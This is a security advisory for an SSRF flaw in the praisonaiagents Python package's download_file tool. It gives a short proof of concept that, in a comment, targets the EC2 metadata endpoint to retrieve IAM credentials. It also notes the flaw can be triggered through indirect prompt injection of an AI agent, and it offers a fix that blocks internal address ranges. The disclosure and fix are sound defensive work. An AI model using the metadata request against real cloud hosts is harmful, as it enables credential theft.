PT-2026-59572 · Pypi · Praisonaiagents

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

8.6

High

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Summary

FileTools.download file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.

Details

file tools.py:259 (source) -> file tools.py:296 (sink)
python
# source -- url taken directly from caller, no validation
def download file(self, url: str, destination: str, ...):

# sink -- unvalidated url passed to httpx with redirect following
  with httpx.stream("GET", url, timeout=timeout, follow redirects=True) as response:

PoC

bash
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888

import os
os.environ['PRAISONAI AUTO APPROVE'] = 'true'
from praisonaiagents.tools.file tools import download file

result = download file(
  url="http://127.0.0.1:8888/ssrf-test",
  destination="/tmp/ssrf out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.

Suggested Fix

python
from urllib.parse import urlparse
import ipaddress

BLOCKED NETWORKS = [
  ipaddress.ip network("127.0.0.0/8"),
  ipaddress.ip network("169.254.0.0/16"),
  ipaddress.ip network("10.0.0.0/8"),
  ipaddress.ip network("172.16.0.0/12"),
  ipaddress.ip network("192.168.0.0/16"),
]

def validate url(url: str) -> None:
  parsed = urlparse(url)
  if parsed.scheme not in ("http", "https"):
    raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
  try:
    addr = ipaddress.ip address(parsed.hostname)
    for net in BLOCKED NETWORKS:
      if addr in net:
        raise ValueError(f"Requests to {addr} are not permitted")
  except ValueError as e:
    if "does not appear to be" not in str(e):
      raise

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2940

Affected Products

Praisonaiagents